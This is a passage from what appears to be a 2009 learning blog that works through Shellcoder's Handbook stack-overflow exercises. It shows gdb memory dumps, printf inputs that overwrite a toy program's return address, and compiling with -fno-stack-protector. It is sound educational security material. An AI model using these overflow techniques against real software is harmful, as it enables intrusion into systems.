0xbfc7b82c: 0xb7f46ff4 0xbfc7b838 0x0804841a 0xbfc7b898
0xbfc7b83c: 0xb7e03685 0x00000001 0xbfc7b8c4 0xbfc7b8cc
0xbfc7b84c: 0xb7f61b38 0x00000001 0x00000001 0x00000000
(gdb) continue
Continuing.
111111111122222222223333333333ABCDEFGH
111111111122222222223333333333ABCDEFGH

Breakpoint 2, 0x08048411 in return_input () at overflow.c:6
6 }
(gdb) x/20x 0xbfc7b80c
0xbfc7b80c: 0xbfc7b812 0x31316ff4 0x31313131 0x31313131
0xbfc7b81c: 0x32323232 0x32323232 0x33333232 0x33333333
0xbfc7b82c: 0x33333333 0x44434241 0x48474645 0xbfc7b800
0xbfc7b83c: 0xb7e03685 0x00000001 0xbfc7b8c4 0xbfc7b8cc
0xbfc7b84c: 0xb7f61b38 0x00000001 0x00000001 0x00000000
It took a teeny bit of experimentation, but now I can see that my old return address, 0x0804841a, is overwritten with 0x48474645, which is little-endian hex for "EFGH" -- my "ABCD" ends up elswhere. I'm not sure from whence this extra space comes from, but my array[30] still seems safe up up to three bytes past the end:
todb@mazikeen:~/dev/sc$ printf "123456789012345678901234567890A" | ./overflow
123456789012345678901234567890A
todb@mazikeen:~/dev/sc$ printf "123456789012345678901234567890AA" | ./overflow
123456789012345678901234567890AA
todb@mazikeen:~/dev/sc$ printf "123456789012345678901234567890AAA" | ./overflow
123456789012345678901234567890AAA
todb@mazikeen:~/dev/sc$ printf "123456789012345678901234567890AAAA" | ./overflow
123456789012345678901234567890AAAA
Segmentation fault (core dumped)
At any rate, the exploit works just fine with the extra padding:
todb@mazikeen:~/dev/sc$ printf "123456789012345678901234567890AAAA\x15\x84\x04\x08" | ./overflow
123456789012345678901234567890AAAA�
123456789012345678901234567890AAAA�
Oh, and I should mention this somewhere explicit, that I'm using Ubuntu 8.10, stock everything for the purposes of Shellcoder's (I have some custom pcap stuff, but nothing that should affect these exercises).

Oh2, hugely useful is gdb's text UI. Type Ctrl-X, Ctrl-A to get a view into the source code and where you're at when you hit your breakpoints, and "layout regs" to read your registers directly. Ctrl-X Ctrl-A to get back to regular console mode.

Wednesday, April 8, 2009

Chapter 2, Example 2-3, "Overflowing Buffers on the Stack," page 19

If you are running a 2.6.x Linux kernel (like me), you will need to compile code with -fno-stack-protector:
todb@mazikeen:~/dev/sc$ gcc -mpreferred-stack-boundary=2 -fno-stack-protector -ggdb 2-3.c -o overflow

Otherwise, your buffer overflow will produce totally different (and usually very useful, but maybe not in this case) results:
todb@mazikeen:~/dev/sc$ ./overflow 
AAAAAAAAAAB
AAAAAAAAAAB
*** stack smashing detected ***: ./overflow terminated
======= Backtrace: =========
/lib/libc.so.6(__fortify_fail+0x4b)[0xb7ed005b]
/lib/libc.so.6(__fortify_fail+0x0)[0xb7ed0010]
./overflow[0x804842c]
./overflow[0x8048436]
/lib/libc.so.6(__libc_start_main+0xe5)[0xb7e03685]
./overflow[0x8048391]
======= Memory map: ========
08048000-08049000 r-xp 00000000 08:01 168557 /home/todb/dev/sc/overflow
08049000-0804a000 rw-p 00000000 08:01 168557 /home/todb/dev/sc/overflow
0804a000-0806b000 rw-p 0804a000 00:00 0 [heap]
b7dec000-b7ded000 rw-p b7dec000 00:00 0
b7ded000-b7f2a000 r-xp 00000000 08:01 13388391 /lib/libc-2.8.90.so
b7f2a000-b7f2c000 r--p 0013d000 08:01 13388391 /lib/libc-2.8.90.so
b7f2c000-b7f2d000 rw-p 0013f000 08:01 13388391 /lib/libc-2.8.90.so
b7f2d000-b7f30000 rw-p b7f2d000 00:00 0
b7f33000-b7f40000 r-xp 00000000 08:01 13385851 /lib/libgcc_s.so.1
b7f40000-b7f41000 r--p 0000c000 08:01 13385851 /lib/libgcc_s.so.1
b7f41000-b7f42000 rw-p 0000d000 08:01 13385851 /lib/libgcc_s.so.1
b7f42000-b7f45000 rw-p b7f42000 00:00 0
b7f45000-b7f5f000 r-xp 00000000 08:01 13385969 /lib/ld-2.8.90.so
b7f5f000-b7f60000 r-xp b7f5f000 00:00 0 [vdso]
b7f60000-b7f61000 r--p 0001a000 08:01 13385969 /lib/ld-2.8.90.so
b7f61000-b7f62000 rw-p 0001b000 08:01 13385969 /lib/ld-2.8.90.so
bf866000-bf87b000 rw-p bffeb000 00:00 0 [stack]
Aborted (core dumped)

With -fno-stack-protection, the output looks a lot more like the book's:
todb@mazikeen:~/dev/sc$ ./overflow 
AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD
AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD
Segmentation fault (core dumped)

By disabling Linux (Debian's / Ubuntu's) stack protection, the gdb output looks a lot closer to what the book describes, as well.